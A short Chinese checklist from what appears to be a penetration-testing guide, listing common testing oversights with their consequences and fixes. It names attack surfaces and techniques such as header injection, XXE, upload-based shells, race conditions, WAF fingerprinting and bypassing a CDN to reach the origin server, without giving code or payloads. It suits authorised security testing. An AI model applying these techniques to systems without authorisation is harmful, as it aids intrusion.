19.3 渗透测试常犯错误清单

错误 后果 避免方法
只测 GET 不测 POST 遗漏 POST 型漏洞 全面测试所有请求方法
只测参数不测 Header 遗漏 Header 注入 测试 User-Agent / Referer / XFF / Cookie
只测登录不测其他接口 遗漏越权/逻辑漏洞 全面测绘目标 API 接口
忽略 JSON/XML 接口 遗漏 XXE / NoSQL 注入 修改 Content-Type 测试
忽略文件上传接口 遗漏 GetShell 测试所有上传功能点
未测试并发条件竞争 遗漏竞态漏洞 使用 BurpSuite Turbo Intruder
忽略 WebSocket 遗漏 WebSocket 劫持 检测 WebSocket 连接和消息
未识别 WAF 被拦截误判为不存在 先 WAFw00f 识别 WAF
未测试同版本经典漏洞 遗漏已知 CVE 查询目标版本的 CVE 列表
忽略 CDN 只测到 WAF 非源站 找真实 IP 绕过 CDN

免责声明：本文档仅供安全防御和授权测试参考。使用者应遵守当地法律法规，后果自负。

核心原则：安全是持续的攻防博弈，覆盖的攻击面越大，漏报的可能性越小。

生成时间：2026-07-08